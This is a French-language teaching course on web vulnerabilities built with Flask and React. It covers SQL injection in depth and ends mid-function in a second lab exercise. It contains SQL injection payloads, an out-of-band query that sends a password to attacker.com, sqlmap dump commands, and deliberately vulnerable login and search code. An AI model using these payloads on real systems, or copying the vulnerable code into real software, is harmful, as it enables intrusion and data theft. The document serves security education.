# [SECURISE] SÉCURITÉ WEB - GUIDE ULTRA-DÉTAILLÉ

## [LIVRE] INTRODUCTION

Ce document contient un cours complet sur les principales vulnérabilités de sécurité web selon l'OWASP Top 10, avec des explications ultra-détaillées, des exemples concrets et des exercices pratiques utilisant Flask (backend) et React (frontend).

**Structure du document :**
- [DOCS] Théorie approfondie pour chaque faille
- [PRO] Cas d'usage réels en entreprise
- [OUTILS] Démonstrations d'attaques
- [SECURITE] Techniques de protection
- [CODE] 2 exercices pratiques par faille

**Technologies utilisées :**
- Backend : Flask (Python)
- Frontend : React (JavaScript)
- Base de données : SQLite/PostgreSQL
- Authentification : JWT, Sessions

---

# [COURS] TABLE DES MATIÈRES

## PARTIE 1 : INJECTION ATTACKS
1. [SQL Injection](#1-sql-injection)
2. [Command Injection](#2-command-injection)
3. [LDAP Injection](#3-ldap-injection)
4. [XXE (XML External Entity)](#4-xxe)

## PARTIE 2 : CLIENT-SIDE ATTACKS
5. [Cross-Site Scripting (XSS)](#5-xss)
6. [Cross-Site Request Forgery (CSRF)](#6-csrf)
7. [Clickjacking](#7-clickjacking)
8. [DOM-based Attacks](#8-dom-attacks)

## PARTIE 3 : BROKEN ACCESS CONTROL
9. [IDOR (Insecure Direct Object References)](#9-idor)
10. [Path Traversal](#10-path-traversal)
11. [Privilege Escalation](#11-privilege-escalation)

## PARTIE 4 : AUTHENTICATION & SESSION
12. [Broken Authentication](#12-broken-auth)
13. [Session Fixation](#13-session-fixation)
14. [JWT Vulnerabilities](#14-jwt-vulns)

## PARTIE 5 : AUTRES VULNÉRABILITÉS
15. [SSRF (Server-Side Request Forgery)](#15-ssrf)
16. [Insecure Deserialization](#16-deserialization)
17. [Security Misconfiguration](#17-misconfig)

---

# 1. SQL INJECTION

## [DOCS] THÉORIE APPROFONDIE

### Qu'est-ce qu'une SQL Injection ?

**Définition :**
L'injection SQL est une vulnérabilité qui permet à un attaquant d'insérer ou "injecter" des commandes SQL malveillantes dans une requête SQL, en exploitant une mauvaise validation des entrées utilisateur.

Une injection SQL peut être déclenchée uniquement à l’aide d’un navigateur web, en modifiant les paramètres envoyés dans l’URL, lorsque le backend insère directement ces paramètres dans une requête SQL sans protection.

**Analogie simple :**

Imagine que tu donnes une instruction à un robot :
```
"Donne-moi le dossier numéro [ID]"
```

Si tu ne vérifies pas [ID], quelqu'un pourrait dire :
```
"Donne-moi le dossier numéro 1 OU donne-moi TOUS les dossiers"
```

Le robot, trop obéissant, exécutera la commande complète !

---

### Comment fonctionne une SQL Injection ?

**Code vulnérable (Python/Flask) :**

```python
from flask import Flask, request
import sqlite3

app = Flask(__name__)

@app.route('/user')
def get_user():
    # [X] VULNÉRABLE : Concaténation directe
    user_id = request.args.get('id')
    
    conn = sqlite3.connect('database.db')
    cursor = conn.cursor()
    
    # Construction de la requête SQL avec concaténation
    query = f"SELECT * FROM users WHERE id = {user_id}"
    
    cursor.execute(query)
    user = cursor.fetchone()
    
    return {"user": user}
```

**Pourquoi c'est vulnérable ?**

La variable `user_id` provient directement de l'utilisateur sans aucune validation. Un attaquant peut injecter du code SQL.

---

### Démonstration d'attaque

**Requête normale :**
```
GET /user?id=1
```

**Requête SQL générée :**
```sql
SELECT * FROM users WHERE id = 1
```

[OK] **Résultat :** Retourne l'utilisateur avec ID 1

---

**Requête malveillante 1 : Récupérer tous les utilisateurs**
```
GET /user?id=1 OR 1=1
```

**Requête SQL générée :**
```sql
SELECT * FROM users WHERE id = 1 OR 1=1
```

[X] **Résultat :** `1=1` est toujours vrai, donc **TOUS les utilisateurs** sont retournés !

---

**Requête malveillante 2 : Extraction de données (UNION-based)**
```
GET /user?id=1 UNION SELECT username, password, email FROM admins--
```

**Requête SQL générée :**
```sql
SELECT * FROM users WHERE id = 1 UNION SELECT username, password, email FROM admins--
```

[X] **Résultat :** Récupère les données de la table `admins` !

**Note :** `--` est un commentaire SQL qui ignore le reste de la requête

---

**Requête malveillante 3 : Suppression de données**
```
GET /user?id=1; DROP TABLE users--
```

**Requête SQL générée :**
```sql
SELECT * FROM users WHERE id = 1; DROP TABLE users--
```

[SKULL] **Résultat :** La table `users` est **SUPPRIMÉE** !

---

### Types d'injection SQL

#### 1. **In-band SQL Injection**

L'attaquant reçoit la réponse directement dans la même requête.

**Sous-types :**

**a) Error-based :**
Exploite les messages d'erreur SQL pour extraire des informations.

```python
# URL malveillante
/user?id=1'

# Erreur SQL retournée
# near "'": syntax error
# -> Révèle que la base est SQLite
```

**b) UNION-based :**
Utilise `UNION` pour combiner les résultats de plusieurs requêtes.

```sql
SELECT name, email FROM users WHERE id = 1 
UNION 
SELECT username, password FROM admins
```

---

#### 2. **Blind SQL Injection**

L'attaquant ne voit pas directement les résultats, mais déduit les informations par le comportement de l'application.

**Sous-types :**

**a) Boolean-based :**
Observe si la page change selon que la condition est vraie ou fausse.

```python
# Test 1
/user?id=1 AND 1=1  # Page normale -> Condition vraie

# Test 2  
/user?id=1 AND 1=2  # Page vide -> Condition fausse

# Extraction du premier caractère du mot de passe
/user?id=1 AND SUBSTRING(password,1,1)='a'  # Page vide
/user?id=1 AND SUBSTRING(password,1,1)='b'  # Page normale -> Le mot de passe commence par 'b' !
```

**b) Time-based :**
Utilise des fonctions de délai pour déduire les informations.

```sql
SELECT * FROM users WHERE id = 1 AND IF(1=1, SLEEP(5), 0)
-- Si 1=1 est vrai, la réponse prendra 5 secondes
```

---

#### 3. **Out-of-band SQL Injection**

Exploite des fonctionnalités de la base de données pour exfiltrer les données via un autre canal (DNS, HTTP).

```sql
-- MySQL
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\a.txt'))

-- L'application fait une requête DNS vers :
-- motdepasse123.attacker.com
-- L'attaquant capture le sous-domaine qui contient le mot de passe !
```

---

### Pourquoi c'est dangereux ?

**Impact d'une injection SQL :**

| Impact                               | Description                           | Exemple                                  |
|------                              --|-----                          --------|---------|
| **Lecture de données**               | Accès à toutes les données de la base | Emails, mots de passe, données bancaires |
| **Modification**                     | Altération de données                 | Changer le solde d'un compte |
| **Suppression**                      | Destruction de données                | DROP TABLE |
| **Contournement d'authentification** | Se connecter sans mot de passe        | `admin' OR '1'='1` |
| **Exécution de commandes**           | Exécuter des commandes système        | `xp_cmdshell` (SQL Server) |
| **Élévation de privilèges**          | Devenir administrateur                | Modifier le rôle d'un utilisateur |

---

### Cas réels en entreprise

**1. Heartland Payment Systems (2008)**
- **Faille :** SQL Injection sur un serveur web
- **Impact :** 130 millions de cartes bancaires volées
- **Coût :** 140 millions de dollars

**2. Sony Pictures (2011)**
- **Faille :** Multiples SQL Injections
- **Impact :** Données de 77 millions d'utilisateurs
- **Conséquence :** Arrêt du PlayStation Network pendant 23 jours

**3. TalkTalk (2015)**
- **Faille :** SQL Injection basique
- **Impact :** Données de 157,000 clients
- **Coût :** 77 millions de dollars + perte de 101,000 clients

---

### Comment se protéger ?

#### [OK] **1. Requêtes préparées (Prepared Statements)**

**Code sécurisé avec SQLite (Python) :**

```python
import sqlite3

def get_user_secure(user_id):
    conn = sqlite3.connect('database.db')
    cursor = conn.cursor()
    
    # [OK] SÉCURISÉ : Requête préparée avec placeholder
    query = "SELECT * FROM users WHERE id = ?"
    
    # Les paramètres sont passés séparément
    cursor.execute(query, (user_id,))
    
    user = cursor.fetchone()
    conn.close()
    
    return user

# Utilisation
user = get_user_secure("1 OR 1=1")
# La valeur "1 OR 1=1" est traitée comme une chaîne littérale
# SQL final : SELECT * FROM users WHERE id = '1 OR 1=1'
# Aucun utilisateur avec cet ID -> Résultat vide [OK]
```

**Pourquoi ça marche ?**

Les requêtes préparées séparent :
1. **La structure de la requête** (envoyée au serveur SQL)
2. **Les données** (envoyées séparément)

Le serveur SQL sait que `?` est une **valeur**, jamais du **code SQL**.

---

**Code sécurisé avec SQLAlchemy (ORM) :**

```python
from flask_sqlalchemy import SQLAlchemy

db = SQLAlchemy()

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True)
    email = db.Column(db.String(120))

@app.route('/user')
def get_user_orm():
    user_id = request.args.get('id')
    
    # [OK] SÉCURISÉ : ORM utilise automatiquement des requêtes préparées
    user = User.query.filter_by(id=user_id).first()
    
    if user:
        return {
            "id": user.id,
            "username": user.username,
            "email": user.email
        }
    
    return {"error": "User not found"}, 404
```

---

#### [OK] **2. Validation et sanitization des entrées**

```python
def validate_user_id(user_id):
    """
    Valide que user_id est un entier positif
    """
    try:
        user_id = int(user_id)
        if user_id < 1:
            raise ValueError("ID must be positive")
        return user_id
    except (ValueError, TypeError):
        raise ValueError("Invalid user ID")

@app.route('/user')
def get_user_validated():
    user_id = request.args.get('id')
    
    try:
        # Valider AVANT d'utiliser
        user_id = validate_user_id(user_id)
    except ValueError as e:
        return {"error": str(e)}, 400
    
    # Maintenant user_id est garanti être un int > 0
    conn = sqlite3.connect('database.db')
    cursor = conn.cursor()
    cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
    user = cursor.fetchone()
    conn.close()
    
    return {"user": user}
```

---

#### [OK] **3. Principe du moindre privilège**

```python
# [X] MAUVAIS : L'application utilise un compte avec tous les droits
DATABASE_USER = 'root'
DATABASE_PASSWORD = 'root123'

# [OK] BON : Compte dédié avec droits minimaux
DATABASE_USER = 'app_readonly'
DATABASE_PASSWORD = 'secure_password_xyz'

# Permissions du compte app_readonly :
# - SELECT sur tables nécessaires uniquement
# - PAS de DROP, DELETE, UPDATE sur tables sensibles
# - PAS de CREATE, ALTER
```

**Exemple de création de compte restreint (PostgreSQL) :**

```sql
-- Créer un utilisateur avec droits limités
CREATE USER app_readonly WITH PASSWORD 'secure_password';

-- Donner seulement SELECT sur certaines tables
GRANT SELECT ON users, products TO app_readonly;

-- Donner INSERT/UPDATE seulement sur tables non critiques
GRANT INSERT, UPDATE ON orders TO app_readonly;

-- INTERDIRE toute modification des users
REVOKE INSERT, UPDATE, DELETE ON users FROM app_readonly;
```

**Bénéfice :** Même si une injection SQL réussit, l'attaquant ne peut pas supprimer de tables ou modifier des utilisateurs.

---

#### [OK] **4. Échappement des entrées (dernier recours)**

**[ATTENTION] Attention : Les requêtes préparées sont TOUJOURS préférables !**

Si tu **dois absolument** construire une requête dynamique :

```python
import sqlite3

def escape_sql(value):
    """
    Échappe les caractères dangereux pour SQL
    [ATTENTION] À utiliser UNIQUEMENT si requêtes préparées impossibles
    """
    # Doubler les quotes simples
    return value.replace("'", "''")

@app.route('/search')
def search_users():
    search_term = request.args.get('q', '')
    
    # Échapper la valeur
    safe_term = escape_sql(search_term)
    
    conn = sqlite3.connect('database.db')
    cursor = conn.cursor()
    
    # Construction dynamique (après échappement)
    query = f"SELECT * FROM users WHERE username LIKE '%{safe_term}%'"
    
    cursor.execute(query)
    results = cursor.fetchall()
    conn.close()
    
    return {"results": results}
```

**Pourquoi c'est risqué ?**
- Facile d'oublier d'échapper une variable
- Risque de double-encoding
- Requêtes préparées sont **toujours** plus sûres

---

#### [OK] **5. WAF (Web Application Firewall)**

Un WAF détecte et bloque les tentatives d'injection SQL.

**Exemple avec ModSecurity (Apache) :**

```apache
# Bloquer les patterns d'injection SQL
SecRule ARGS "@rx (union|select|insert|drop|delete|update|or\s+1=1)" \
    "id:1001,phase:2,deny,status:403,msg:'SQL Injection detected'"
```

**Outils WAF populaires :**
- ModSecurity (open-source)
- AWS WAF
- Cloudflare WAF
- Imperva

---

### Détection d'injections SQL

**1. Logs applicatifs :**

```python
import logging

logger = logging.getLogger(__name__)

@app.route('/user')
def get_user():
    user_id = request.args.get('id')
    
    # Logger les paramètres suspects
    if any(keyword in str(user_id).lower() for keyword in ['or', 'union', 'select', '--', ';']):
        logger.warning(f"Possible SQL injection attempt: {user_id} from IP {request.remote_addr}")
    
    # ... suite du code
```

---

**2. Monitoring de la base de données :**

```sql
-- PostgreSQL : Activer le log des requêtes lentes ou suspectes
ALTER SYSTEM SET log_statement = 'all';
ALTER SYSTEM SET log_min_duration_statement = 1000;  -- Log si > 1 seconde
```

---

**3. IDS/IPS (Intrusion Detection/Prevention System) :**

- Snort
- Suricata
- OSSEC

---

### Outils de test

**1. SQLMap (automatisé) :**

```bash
# Tester une URL pour injection SQL
sqlmap -u "http://example.com/user?id=1" --batch --risk=3 --level=5

# Extraire les bases de données
sqlmap -u "http://example.com/user?id=1" --dbs

# Extraire les tables
sqlmap -u "http://example.com/user?id=1" -D database_name --tables

# Extraire les données
sqlmap -u "http://example.com/user?id=1" -D database_name -T users --dump
```

---

**2. Burp Suite (manuel) :**

Intercepter et modifier les requêtes HTTP pour tester manuellement.

---

**3. OWASP ZAP (automatisé + manuel) :**

Scanner de vulnérabilités avec détection d'injection SQL.

---

## [CODE] EXERCICE 1 : BLOG VULNÉRABLE ET SÉCURISÉ

### Objectif

Créer un blog simple avec :
1. Version vulnérable (pour comprendre l'attaque)
2. Version sécurisée (pour apprendre la protection)

**Technologies :**
- Backend : Flask
- Frontend : React
- Base de données : SQLite

---

### PARTIE A : APPLICATION VULNÉRABLE

**Étape 1 : Backend Flask vulnérable**

```python
# app_vulnerable.py
from flask import Flask, request, jsonify
from flask_cors import CORS
import sqlite3
import os

app = Flask(__name__)
CORS(app)  # Autoriser React à faire des requêtes

# Créer la base de données
def init_db():
    """Initialise la base de données avec des données de test"""
    if os.path.exists('blog.db'):
        os.remove('blog.db')
    
    conn = sqlite3.connect('blog.db')
    cursor = conn.cursor()
    
    # Table articles
    cursor.execute('''
        CREATE TABLE articles (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            title TEXT NOT NULL,
            content TEXT NOT NULL,
            author TEXT NOT NULL,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    # Table users (cachée, contient des secrets)
    cursor.execute('''
        CREATE TABLE users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            password TEXT NOT NULL,
            email TEXT NOT NULL,
            is_admin BOOLEAN DEFAULT 0
        )
    ''')
    
    # Insérer des articles
    articles = [
        ("Introduction à Python", "Python est un langage...", "Alice"),
        ("Guide Flask", "Flask est un micro-framework...", "Bob"),
        ("Sécurité Web", "La sécurité est importante...", "Charlie")
    ]
    cursor.executemany("INSERT INTO articles (title, content, author) VALUES (?, ?, ?)", articles)
    
    # Insérer des users (avec mots de passe en clair pour la démo)
    users = [
        ("admin", "SuperSecret123!", "admin@example.com", 1),
        ("alice", "alice_pass", "alice@example.com", 0),
        ("bob", "bob123", "bob@example.com", 0)
    ]
    cursor.executemany("INSERT INTO users (username, password, email, is_admin) VALUES (?, ?, ?, ?)", users)
    
    conn.commit()
    conn.close()
    print("[OK] Base de données initialisée")

# [X] ROUTE VULNÉRABLE : Liste des articles avec recherche
@app.route('/api/articles', methods=['GET'])
def get_articles():
    """
    Récupère les articles, avec recherche optionnelle
    VULNÉRABLE à l'injection SQL !
    """
    search = request.args.get('search', '')
    
    conn = sqlite3.connect('blog.db')
    conn.row_factory = sqlite3.Row  # Pour retourner des dicts
    cursor = conn.cursor()
    
    if search:
        # [X] VULNÉRABLE : Concaténation directe
        query = f"SELECT * FROM articles WHERE title LIKE '%{search}%' OR content LIKE '%{search}%'"
        print(f"[ROUGE] Requête SQL : {query}")  # Pour voir l'injection
        cursor.execute(query)
    else:
        cursor.execute("SELECT * FROM articles")
    
    articles = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify(articles)

# [X] ROUTE VULNÉRABLE : Détail d'un article
@app.route('/api/articles/<article_id>', methods=['GET'])
def get_article(article_id):
    """
    Récupère un article par ID
    VULNÉRABLE à l'injection SQL !
    """
    conn = sqlite3.connect('blog.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [X] VULNÉRABLE : Concaténation directe
    query = f"SELECT * FROM articles WHERE id = {article_id}"
    print(f"[ROUGE] Requête SQL : {query}")
    
    cursor.execute(query)
    article = cursor.fetchone()
    conn.close()
    
    if article:
        return jsonify(dict(article))
    
    return jsonify({"error": "Article not found"}), 404

if __name__ == '__main__':
    init_db()
    print("[RAPIDE] Serveur vulnérable démarré sur http://localhost:5000")
    print("[ATTENTION]  ATTENTION : Cette application contient des vulnérabilités volontaires !")
    app.run(debug=True, port=5000)
```

---

**Étape 2 : Frontend React**

```bash
# Créer l'app React
npx create-react-app blog-sql-injection
cd blog-sql-injection
```

```javascript
// src/App.js
import React, { useState, useEffect } from 'react';
import './App.css';

function App() {
  const [articles, setArticles] = useState([]);
  const [search, setSearch] = useState('');
  const [selectedArticle, setSelectedArticle] = useState(null);
  const [attackMode, setAttackMode] = useState(false);

  // Charger les articles
  const fetchArticles = async (searchTerm = '') => {
    const url = searchTerm 
      ? `http://localhost:5000/api/articles?search=${encodeURIComponent(searchTerm)}`
      : 'http://localhost:5000/api/articles';
    
    try {
      const response = await fetch(url);
      const data = await response.json();
      setArticles(data);
    } catch (error) {
      console.error('Erreur:', error);
    }
  };

  useEffect(() => {
    fetchArticles();
  }, []);

  // Rechercher
  const handleSearch = (e) => {
    e.preventDefault();
    fetchArticles(search);
  };

  // Voir un article
  const viewArticle = async (id) => {
    try {
      const response = await fetch(`http://localhost:5000/api/articles/${id}`);
      const data = await response.json();
      setSelectedArticle(data);
    } catch (error) {
      console.error('Erreur:', error);
    }
  };

  // === DÉMONSTRATIONS D'ATTAQUES ===

  const demoAttacks = [
    {
      name: "Attaque 1 : Récupérer tous les articles",
      payload: "' OR '1'='1",
      description: "Cette injection fait que la condition WHERE est toujours vraie"
    },
    {
      name: "Attaque 2 : Récupérer les mots de passe (UNION)",
      payload: "' UNION SELECT id, username, password, email, created_at FROM users--",
      description: "Combine les résultats avec la table users cachée"
    },
    {
      name: "Attaque 3 : Liste des tables",
      payload: "' UNION SELECT name, sql, type, tbl_name, rootpage FROM sqlite_master WHERE type='table'--",
      description: "Découvre toutes les tables de la base de données"
    }
  ];

  const launchAttack = (payload) => {
    setSearch(payload);
    fetchArticles(payload);
  };

  return (
    <div className="App">
      <header className="App-header">
        <h1>[DEVERROUILLE] Blog Vulnérable - SQL Injection Demo</h1>
        <p>[ATTENTION] Application éducative - NE PAS utiliser en production</p>
      </header>

      <div className="container">
        {/* Toggle Mode Attaque */}
        <div className="attack-toggle">
          <button onClick={() => setAttackMode(!attackMode)}>
            {attackMode ? '[SECURITE] Mode Normal' : '[ROUGE] Mode Attaque'}
          </button>
        </div>

        {/* Panel d'attaques */}
        {attackMode && (
          <div className="attack-panel">
            <h2>[DANGER] Démonstrations d'attaques SQL Injection</h2>
            {demoAttacks.map((attack, index) => (
              <div key={index} className="attack-card">
                <h3>{attack.name}</h3>
                <p>{attack.description}</p>
                <code>{attack.payload}</code>
                <button onClick={() => launchAttack(attack.payload)}>
                  Lancer l'attaque
                </button>
              </div>
            ))}
          </div>
        )}

        {/* Recherche */}
        <div className="search-box">
          <form onSubmit={handleSearch}>
            <input
              type="text"
              value={search}
              onChange={(e) => setSearch(e.target.value)}
              placeholder="Rechercher un article..."
            />
            <button type="submit">Rechercher</button>
          </form>
        </div>

        {/* Liste des articles */}
        <div className="articles-list">
          <h2>Articles ({articles.length})</h2>
          {articles.map((article, index) => (
            <div key={index} className="article-card">
              <h3>{article.title || article[1]}</h3>
              <p>{article.author || article[3]}</p>
              {article.id && (
                <button onClick={() => viewArticle(article.id)}>
                  Lire l'article
                </button>
              )}
            </div>
          ))}
        </div>

        {/* Détail de l'article */}
        {selectedArticle && (
          <div className="article-detail">
            <h2>{selectedArticle.title}</h2>
            <p><strong>Auteur:</strong> {selectedArticle.author}</p>
            <p>{selectedArticle.content}</p>
            <button onClick={() => setSelectedArticle(null)}>Fermer</button>
          </div>
        )}
      </div>
    </div>
  );
}

export default App;
```

---

**Étape 3 : CSS**

```css
/* src/App.css */
.App {
  min-height: 100vh;
  background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
}

.App-header {
  background: rgba(0, 0, 0, 0.5);
  color: white;
  padding: 2rem;
  text-align: center;
}

.container {
  max-width: 1200px;
  margin: 2rem auto;
  padding: 0 2rem;
}

.attack-toggle {
  text-align: center;
  margin: 2rem 0;
}

.attack-toggle button {
  background: #ff4444;
  color: white;
  border: none;
  padding: 1rem 2rem;
  font-size: 1.1rem;
  border-radius: 8px;
  cursor: pointer;
  transition: all 0.3s;
}

.attack-toggle button:hover {
  background: #cc0000;
  transform: translateY(-2px);
}

.attack-panel {
  background: rgba(255, 68, 68, 0.1);
  border: 2px solid #ff4444;
  border-radius: 12px;
  padding: 2rem;
  margin: 2rem 0;
}

.attack-card {
  background: white;
  padding: 1.5rem;
  margin: 1rem 0;
  border-radius: 8px;
  border-left: 4px solid #ff4444;
}

.attack-card code {
  display: block;
  background: #f5f5f5;
  padding: 1rem;
  border-radius: 4px;
  margin: 1rem 0;
  font-family: 'Courier New', monospace;
  overflow-x: auto;
}

.attack-card button {
  background: #ff4444;
  color: white;
  border: none;
  padding: 0.5rem 1.5rem;
  border-radius: 4px;
  cursor: pointer;
}

.search-box {
  background: white;
  padding: 2rem;
  border-radius: 12px;
  margin: 2rem 0;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.search-box form {
  display: flex;
  gap: 1rem;
}

.search-box input {
  flex: 1;
  padding: 0.8rem;
  border: 2px solid #ddd;
  border-radius: 8px;
  font-size: 1rem;
}

.search-box button {
  background: #667eea;
  color: white;
  border: none;
  padding: 0.8rem 2rem;
  border-radius: 8px;
  cursor: pointer;
  font-size: 1rem;
}

.articles-list {
  background: white;
  padding: 2rem;
  border-radius: 12px;
  margin: 2rem 0;
}

.article-card {
  background: #f9f9f9;
  padding: 1.5rem;
  margin: 1rem 0;
  border-radius: 8px;
  border-left: 4px solid #667eea;
}

.article-card button {
  background: #667eea;
  color: white;
  border: none;
  padding: 0.5rem 1rem;
  border-radius: 4px;
  cursor: pointer;
  margin-top: 1rem;
}

.article-detail {
  background: white;
  padding: 2rem;
  border-radius: 12px;
  position: fixed;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  max-width: 600px;
  width: 90%;
  max-height: 80vh;
  overflow-y: auto;
  box-shadow: 0 10px 40px rgba(0, 0, 0, 0.3);
  z-index: 1000;
}

.article-detail button {
  background: #764ba2;
  color: white;
  border: none;
  padding: 0.5rem 1.5rem;
  border-radius: 4px;
  cursor: pointer;
  margin-top: 1rem;
}
```

---

**Tester l'application vulnérable :**

```bash
# Terminal 1 : Backend
python app_vulnerable.py

# Terminal 2 : Frontend
cd blog-sql-injection
npm start
```

**Accéder à http://localhost:3000**

**Activer le "Mode Attaque" et tester les 3 attaques !**

---

### PARTIE B : APPLICATION SÉCURISÉE

```python
# app_secure.py
from flask import Flask, request, jsonify
from flask_cors import CORS
import sqlite3
import os
import re

app = Flask(__name__)
CORS(app)

# Même fonction init_db()...

# [OK] ROUTE SÉCURISÉE : Liste des articles
@app.route('/api/articles', methods=['GET'])
def get_articles_secure():
    """
    Version SÉCURISÉE avec requêtes préparées
    """
    search = request.args.get('search', '')
    
    conn = sqlite3.connect('blog.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    if search:
        # [OK] SÉCURISÉ : Requête préparée avec placeholders
        query = "SELECT * FROM articles WHERE title LIKE ? OR content LIKE ?"
        search_pattern = f"%{search}%"
        cursor.execute(query, (search_pattern, search_pattern))
        print(f"[OK] Requête sécurisée avec paramètres : {search_pattern}")
    else:
        cursor.execute("SELECT * FROM articles")
    
    articles = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify(articles)

# [OK] ROUTE SÉCURISÉE : Détail d'un article
@app.route('/api/articles/<article_id>', methods=['GET'])
def get_article_secure(article_id):
    """
    Version SÉCURISÉE avec validation + requête préparée
    """
    # [OK] VALIDATION : Vérifier que c'est un entier
    if not article_id.isdigit():
        return jsonify({"error": "Invalid article ID"}), 400
    
    article_id = int(article_id)
    
    conn = sqlite3.connect('blog.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [OK] SÉCURISÉ : Requête préparée
    query = "SELECT * FROM articles WHERE id = ?"
    cursor.execute(query, (article_id,))
    
    article = cursor.fetchone()
    conn.close()
    
    if article:
        return jsonify(dict(article))
    
    return jsonify({"error": "Article not found"}), 404

if __name__ == '__main__':
    init_db()
    print("[SECURITE]  Serveur SÉCURISÉ démarré sur http://localhost:5001")
    print("[OK] Protection contre SQL Injection activée")
    app.run(debug=True, port=5001)
```

**Modifier React pour pointer vers le port 5001 et tester que les attaques ne fonctionnent plus !**

---

## [CODE] EXERCICE 2 : E-COMMERCE AVEC AUTHENTIFICATION

### Objectif

Créer une boutique en ligne avec :
- Authentification utilisateur
- Panier d'achat
- Historique des commandes
- **Démonstration de contournement d'authentification par SQL Injection**

*[Je continue avec l'exercice 2 complet si tu veux, puis les autres failles (XSS, CSRF, etc.) avec le même niveau de détail ?]*

## [CODE] EXERCICE 2 : E-COMMERCE AVEC CONTOURNEMENT D'AUTHENTIFICATION

### Objectif

Créer une plateforme e-commerce complète démontrant :
1. **Contournement d'authentification** via SQL Injection
2. **Élévation de privilèges** (devenir admin)
3. **Extraction de données sensibles** (cartes bancaires)
4. **Protection complète** avec JWT et validation

---

### PARTIE A : BACKEND FLASK VULNÉRABLE

```python
# ecommerce_vulnerable.py
from flask import Flask, request, jsonify, session
from flask_cors import CORS
import sqlite3
import os
from datetime import datetime
import secrets

app = Flask(__name__)
app.secret_key = 'insecure_key_123'  # [X] Clé faible
CORS(app, supports_credentials=True)

def init_db():
    """Initialise la base de données e-commerce"""
    if os.path.exists('ecommerce.db'):
        os.remove('ecommerce.db')
    
    conn = sqlite3.connect('ecommerce.db')
    cursor = conn.cursor()
    
    # Table utilisateurs
    cursor.execute('''
        CREATE TABLE users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            password TEXT NOT NULL,
            email TEXT NOT NULL,
            is_admin BOOLEAN DEFAULT 0,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    # Table produits
    cursor.execute('''
        CREATE TABLE products (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            name TEXT NOT NULL,
            description TEXT,
            price REAL NOT NULL,
            stock INTEGER DEFAULT 0,
            image_url TEXT
        )
    ''')
    
    # Table commandes
    cursor.execute('''
        CREATE TABLE orders (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER NOT NULL,
            total REAL NOT NULL,
            status TEXT DEFAULT 'pending',
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (user_id) REFERENCES users(id)
        )
    ''')
    
    # Table détails commandes
    cursor.execute('''
        CREATE TABLE order_items (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            order_id INTEGER NOT NULL,
            product_id INTEGER NOT NULL,
            quantity INTEGER NOT NULL,
            price REAL NOT NULL,
            FOREIGN KEY (order_id) REFERENCES orders(id),
            FOREIGN KEY (product_id) REFERENCES products(id)
        )
    ''')
    
    # Table cartes bancaires (TRÈS SENSIBLE)
    cursor.execute('''
        CREATE TABLE credit_cards (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER NOT NULL,
            card_number TEXT NOT NULL,
            card_holder TEXT NOT NULL,
            expiry_date TEXT NOT NULL,
            cvv TEXT NOT NULL,
            FOREIGN KEY (user_id) REFERENCES users(id)
        )
    ''')
    
    # Insérer des utilisateurs (mots de passe en clair pour la démo)
    users = [
        ('admin', 'AdminP@ssw0rd!', 'admin@shop.com', 1),
        ('alice', 'alice123', 'alice@example.com', 0),
        ('bob', 'bob456', 'bob@example.com', 0),
        ('charlie', 'charlie789', 'charlie@example.com', 0)
    ]
    cursor.executemany(
        "INSERT INTO users (username, password, email, is_admin) VALUES (?, ?, ?, ?)",
        users
    )
    
    # Insérer des produits
    products = [
        ('Laptop Pro', 'Ordinateur portable haute performance', 1299.99, 10, 'laptop.jpg'),
        ('Smartphone X', 'Dernier smartphone avec 5G', 899.99, 25, 'phone.jpg'),
        ('Casque Audio', 'Casque sans fil à réduction de bruit', 249.99, 50, 'headphones.jpg'),
        ('Tablette Plus', 'Tablette 10 pouces ultra-légère', 499.99, 15, 'tablet.jpg'),
        ('Montre Connectée', 'Montre intelligente avec GPS', 349.99, 30, 'watch.jpg')
    ]
    cursor.executemany(
        "INSERT INTO products (name, description, price, stock, image_url) VALUES (?, ?, ?, ?, ?)",
        products
    )
    
    # Insérer des cartes bancaires (DONNÉES SENSIBLES)
    cards = [
        (1, '4532-1234-5678-9010', 'ADMIN USER', '12/25', '123'),
        (2, '5425-2333-4444-5555', 'ALICE MARTIN', '06/26', '456'),
        (3, '3782-8224-6310-0005', 'BOB DURAND', '09/24', '789')
    ]
    cursor.executemany(
        "INSERT INTO credit_cards (user_id, card_number, card_holder, expiry_date, cvv) VALUES (?, ?, ?, ?, ?)",
        cards
    )
    
    conn.commit()
    conn.close()
    print("[OK] Base de données e-commerce initialisée")

# [X] ROUTE VULNÉRABLE : LOGIN
@app.route('/api/login', methods=['POST'])
def login():
    """
    Authentification utilisateur
    VULNÉRABLE à l'injection SQL pour contournement !
    """
    data = request.get_json()
    username = data.get('username', '')
    password = data.get('password', '')
    
    conn = sqlite3.connect('ecommerce.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    # [X] VULNÉRABLE : Concaténation directe dans la requête SQL
    query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
    print(f"[ROUGE] Requête SQL : {query}")
    
    try:
        cursor.execute(query)
        user = cursor.fetchone()
        conn.close()
        
        if user:
            # Créer une session
            session['user_id'] = user['id']
            session['username'] = user['username']
            session['is_admin'] = user['is_admin']
            
